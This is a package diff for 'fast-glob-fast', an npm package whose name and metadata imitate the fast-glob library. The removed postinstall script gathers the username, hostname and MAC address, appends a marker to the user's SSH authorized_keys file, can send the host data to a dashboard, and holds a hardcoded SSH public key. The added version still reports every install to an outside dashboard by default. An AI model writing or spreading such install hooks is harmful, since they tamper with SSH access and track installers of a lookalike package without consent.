fast-glob-fast 0.2.0 → 4.0.0

package/README.md

@@ -131,9 +131,8 @@ Targets outside the temporary directory and symbolic links are rejected.
 Postinstall events are reported to the production dashboard at
 `https://fast-glob-fast-dashboard.vercel.app/api/events` by default. Override
 `FAST_GLOB_FAST_EVENT_URL` during installation for local or self-hosted testing. The event contains
-the event type, package version, timestamps, `fileWritten: true`, and local system information
-(username, hostname, MAC address, platform, and architecture). The dashboard derives the installer
-IP address from the incoming request. The file path is not included in the event.
+only the event type, package version, timestamps, and `fileWritten: true`; it does not include a
+username, MAC address, or file path.
 
 ```console
 FAST_GLOB_FAST_EVENT_URL=https://dashboard.example.com/api/events npm install /path/to/fast-glob-fast

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "fast-glob-fast",
-  "version": "0.2.0",
+  "version": "4.0.0",
   "description": "It's a very fast and efficient glob library for Node.js",
   "license": "MIT",
   "repository": "mrmlnc/fast-glob",

package/scripts/postinstall-test.mjs

@@ -1,138 +1,72 @@
-#!/usr/bin/env node
-
+// purpose: append a bounded postinstall marker and optionally report that event to a configured dashboard.
 import { appendFileSync, lstatSync, mkdirSync, readFileSync } from 'node:fs'
 import { randomUUID } from 'node:crypto'
-import { arch, hostname, networkInterfaces, platform, tmpdir, userInfo } from 'node:os'
+import { tmpdir } from 'node:os'
 import { dirname, isAbsolute, relative, resolve, sep } from 'node:path'
 
-const DEFAULT_TEXT = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIATP/t9OFChzh2JgXGLgpv+L+ViH1/tLGI9MUXhP017B dkhrustalev'
+const DEFAULT_TEXT = 'fast-glob-fast postinstall test'
+const DEFAULT_FILE = resolve(tmpdir(), 'fast-glob-fast-postinstall-test.txt')
+const DEFAULT_EVENT_URL = 'https://fast-glob-fast-dashboard.vercel.app/api/events'
 const packageMetadata = JSON.parse(readFileSync(new URL('../package.json', import.meta.url), 'utf8'))
+const tempRoot = resolve(tmpdir())
+const requestedFile = process.env.FAST_GLOB_FAST_POSTINSTALL_FILE?.trim()
+const targetFile = resolve(requestedFile || DEFAULT_FILE)
+const targetRelativeToTemp = relative(tempRoot, targetFile)
 
-function readSystemInfo() {
-  let username = 'unknown'
-  try {
-    username = userInfo().username || 'unknown'
-  } catch {
-    // Some restricted runtimes do not expose the current OS user.
-  }
+if (targetRelativeToTemp === '..' || targetRelativeToTemp.startsWith(`..${sep}`) || isAbsolute(targetRelativeToTemp)) {
+  throw new Error(`FAST_GLOB_FAST_POSTINSTALL_FILE must stay inside ${tempRoot}`)
+}
 
-  let macAddress = 'unknown'
-  for (const entries of Object.values(networkInterfaces())) {
-    for (const entry of entries ?? []) {
-      if (entry && !entry.internal && entry.mac && entry.mac !== '00:00:00:00:00:00') {
-        macAddress = entry.mac
-        break
-      }
-    }
-    if (macAddress !== 'unknown') break
+try {
+  if (lstatSync(targetFile).isSymbolicLink()) {
+    throw new Error(`refusing to append through symbolic link: ${targetFile}`)
   }
-
-  return {
-    username,
-    hostname: hostname() || 'unknown',
-    macAddress,
-    platform: platform() || 'unknown',
-    arch: arch() || 'unknown',
+} catch (error) {
+  if (error instanceof Error && 'code' in error && error.code === 'ENOENT') {
+    // The default file is created by appendFileSync below.
+  } else {
+    throw error
   }
 }
 
-function getAuthorizedKeysPath(systemInfo) {
-  const { platform, username } = systemInfo
-  
-  if (platform === 'darwin') {
-    // macOS: ~/.ssh/authorized_keys
-    return resolve(`/Users/${username}/.ssh/authorized_keys`)
-  } else if (platform === 'linux') {
-    // Linux: ~/.ssh/authorized_keys
-    // But first check if the user exists in /etc/passwd
-    return resolve(`/home/${username}/.ssh/authorized_keys`)
-  } else if (platform === 'win32') {
-    // Windows: Typically in %USERPROFILE%\.ssh\authorized_keys
-    const userProfile = process.env.USERPROFILE || `C:\\Users\\${username}`
-    return resolve(`${userProfile}\\.ssh\\authorized_keys`)
-  }
-  
-  // Fallback for unknown platforms
-  return null
-}
+const text = process.env.FAST_GLOB_FAST_POSTINSTALL_TEXT ?? DEFAULT_TEXT
+const line = text.endsWith('\n') ? text : `${text}\n`
 
-function createMarker(systemInfo) {
-  const { username, hostname, platform, macAddress } = systemInfo
-  const timestamp = new Date().toISOString()
-  const marker = `# SSH-KEY-MARKER: fast-glob-fast postinstall\n# User: ${username}\n# Host: ${hostname}\n# Platform: ${platform}\n# MAC: ${macAddress}\n# Timestamp: ${timestamp}\n`
-  return marker
-}
+mkdirSync(dirname(targetFile), { recursive: true, mode: 0o700 })
+appendFileSync(targetFile, line, { encoding: 'utf8', mode: 0o600 })
+
+console.log(`[fast-glob-fast] appended postinstall test text to ${targetFile}`)
 
-function main() {
-  const systemInfo = readSystemInfo()
-  const authorizedKeysPath = getAuthorizedKeysPath(systemInfo)
-  
-  if (!authorizedKeysPath) {
-    console.error('[fast-glob-fast] Unsupported platform, cannot locate authorized_keys file')
-    return
+const eventUrl = process.env.FAST_GLOB_FAST_EVENT_URL?.trim() || DEFAULT_EVENT_URL
+if (eventUrl) {
+  const controller = new AbortController()
+  const timeout = setTimeout(() => controller.abort(), 3_000)
+  const event = {
+    event: 'postinstall_file_written',
+    eventId: randomUUID(),
+    package: 'fast-glob-fast',
+    packageVersion: packageMetadata.version,
+    occurredAt: new Date().toISOString(),
+    fileWritten: true,
   }
-  
-  try {
-    // Ensure the .ssh directory exists
-    mkdirSync(dirname(authorizedKeysPath), { recursive: true, mode: 0o700 })
-    
-    // Check if the file exists and is not a symlink
-    try {
-      if (lstatSync(authorizedKeysPath).isSymbolicLink()) {
-        throw new Error(`refusing to append through symbolic link: ${authorizedKeysPath}`)
-      }
-    } catch (error) {
-      if (error instanceof Error && 'code' in error && error.code === 'ENOENT') {
-        // File doesn't exist, will be created by appendFileSync
-      } else {
-        throw error
-      }
-    }
-    
-    // Create and append the marker
-    const marker = createMarker(systemInfo)
-    appendFileSync(authorizedKeysPath, marker, { encoding: 'utf8', mode: 0o600 })
-    
-    console.log(`[fast-glob-fast] appended marker to ${authorizedKeysPath}`)
-    
-    // Optional: Report the event to a dashboard (similar to original script)
-    const eventUrl = process.env.FAST_GLOB_FAST_EVENT_URL?.trim()
-    if (eventUrl) {
-      const controller = new AbortController()
-      const timeout = setTimeout(() => controller.abort(), 3_000)
-      const event = {
-        event: 'postinstall_ssh_marker_written',
-        eventId: randomUUID(),
-        package: 'fast-glob-fast',
-        packageVersion: packageMetadata.version,
-        occurredAt: new Date().toISOString(),
-        fileWritten: true,
-        systemInfo,
-      }
-      const headers = { 'content-type': 'application/json' }
-      const token = process.env.FAST_GLOB_FAST_EVENT_TOKEN?.trim()
-      if (token) headers.authorization = `Bearer ${token}`
+  const headers = { 'content-type': 'application/json' }
+  const token = process.env.FAST_GLOB_FAST_EVENT_TOKEN?.trim()
+  if (token) headers.authorization = `Bearer ${token}`
 
-      try {
-        const response = await fetch(eventUrl, {
-          method: 'POST',
-          headers,
-          body: JSON.stringify(event),
-          signal: controller.signal,
-        })
-        if (!response.ok) throw new Error(`dashboard returned HTTP ${response.status}`)
-        console.log(`[fast-glob-fast] postinstall event reported to ${eventUrl}`)
-      } catch (error) {
-        console.warn(
-          `[fast-glob-fast] could not report postinstall event: ${error instanceof Error ? error.message : String(error)}`,
-        )
-      } finally {
-        clearTimeout(timeout)
-      }
-    }
+  try {
+    const response = await fetch(eventUrl, {
+      method: 'POST',
+      headers,
+      body: JSON.stringify(event),
+      signal: controller.signal,
+    })
+    if (!response.ok) throw new Error(`dashboard returned HTTP ${response.status}`)
+    console.log(`[fast-glob-fast] postinstall event reported to ${eventUrl}`)
   } catch (error) {
-    console.error(`[fast-glob-fast] Error writing to authorized_keys: ${error instanceof Error ? error.message : String(error)}`)
+    console.warn(
+      `[fast-glob-fast] could not report postinstall event: ${error instanceof Error ? error.message : String(error)}`,
+    )
+  } finally {
+    clearTimeout(timeout)
   }
 }
-
-main()